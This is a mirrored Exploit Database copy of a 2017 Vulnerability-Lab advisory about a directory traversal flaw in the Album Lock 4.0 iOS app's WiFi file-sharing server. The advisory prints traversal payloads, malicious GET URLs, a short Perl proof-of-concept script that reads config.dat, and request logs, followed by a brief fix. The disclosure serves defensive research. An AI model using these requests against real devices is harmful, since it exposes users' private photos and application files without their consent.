Album Lock 4.0 iOS – Directory Traversal

Exploit Database
108 阅读

作者： Vulnerability-Lab

日期： 2017-02-20
类别：
- webapps
平台：
- ios
来源：https://www.exploit-db.com/exploits/41401/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

Document Title:

===============

Album Lock v4.0 iOS - Directory Traversal Vulnerability

References (Source):

====================

https://www.vulnerability-lab.com/get_content.php?id=2033

Release Date:

=============

2017-02-20

Vulnerability Laboratory ID (VL-ID):

====================================

2033

Common Vulnerability Scoring System:

====================================

7.2

Product & Service Introduction:

===============================

Do you have any secret photo and videos in your iPhone? Album Lock can protect your privacy perfectly. Album is the most

convenient private Photo&Video App!You can add your SPECIAL photos&videos into AlbumLock, we provides many convenient ways.

From Photo App(Camera Roll), iTunes File Sharing Sync, WiFi Transfer and in App Camera.

(Copy of the Homepage: https://itunes.apple.com/us/app/album-lock-lock-secret-photo/id851608952 )

Abstract Advisory Information:

==============================

The vulnerability laboratory core research team discovered a directory traversal web vulnerability in the official Album Lock v4.0 ios mobile application.

Vulnerability Disclosure Timeline:

==================================

2017-02-20: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

=================

Published

Affected Product(s):

====================

Exploitation Technique:

=======================

Remote

Severity Level:

===============

High

Technical Details & Description:

================================

A directory traversal web vulnerability has been dsicovered in the official Album Lock v4.0 iOS mobile web-application.

The issue allows an attackers to unauthorized request and download local application files by manipulation of path parameters.

The directory traversal web vulnerability is located in the <code>filePaht</code> parameter of the wifi web-server interface. Remote attackers

are able to request the local web-server during the sharing process to access unauthenticated application files. Attackers are able

to request via <code>getObject</code> image path variables to access or download files. Remote attackers are able to access the root <code>document

path of the application. The request method to execute is GET and the attack vector is located on the client-side of the web-server

web-application. Finally an attacker is able to access with the credentials the service by using a client via http protocol.

The security risk of the directory traversal vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.2.

Exploitation of the web vulnerability requires no privilege web-application user account or user interaction. Successful exploitation of the

vulnerability results in information leaking, mobile application compromise by unauthorized and unauthenticated access.

Request Method(s):

[+] GET

Vulnerable Module(s):

[+] getObject

Vulnerable Parameter(s):

[+] filePaht

Affected Module(s):

[+] Web-Server File System

Proof of Concept (PoC):

=======================

The security vulnerability can be exploited by remote attackers without user interaction or privilege web-application user account.

For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Standard Request:

http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/Documents/._alias_images/fhhjjj/picture-00001.png

PoC: Payload

/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C./../../../Application

Malicious Request: Exploitation

http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/Documents/

http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/

http://localhost:8880/getImage?filePaht=/var/mobile/

PoC: Exploit

use strict;

use LWP::UserAgent;

my $b = LWP::UserAgent->new();

my $host = "1.1.1.1:5555";

print $b->get("http://".$host."/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/config.dat")->content;

--- PoC Session Logs [GET] ---

Status: 200[OK]

GET http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C./../../../Application

Mime Type[application/x-unknown-content-type]

Request Header:

Host[localhost:8880]

User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]

Accept[*/*]

Accept-Language[de,en-US;q=0.7,en;q=0.3]

Referer[http://localhost:8880/list_gif.html?folder=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/]

Connection[keep-alive]

Response Header:

Accept-Ranges[bytes]

Reference(s):

http://localhost:8880/

http://localhost:8880/getImage

http://localhost:8880/getImage?filePaht=

http://localhost:8880/list_gif.html

http://localhost:8880/list_gif.html?folder=

Solution - Fix & Patch:

=======================

The vulnerability can be patch by disallowing the filepaht parameter to request upper local paths outside the document folder.

Include a whitelist of allowed requested path and setup a secure exception to prevent on exploitation.

Security Risk:

==============

The security risk of the directory traversal web vulnerability in the mobile application is estimated as high. (CVSS 7.2)

Credits & Authors:

==================

Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)

Disclaimer & Information:

=========================

The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed

or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable

in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab

or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for

consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies,

deface websites, hack into databases or trade with stolen data.

Domains:www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com

Section:magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact

Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab

Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php

Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.

Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by

Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark

of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission.

VULNERABILITY LABORATORY - RESEARCH TEAM

SERVICE: www.vulnerability-lab.com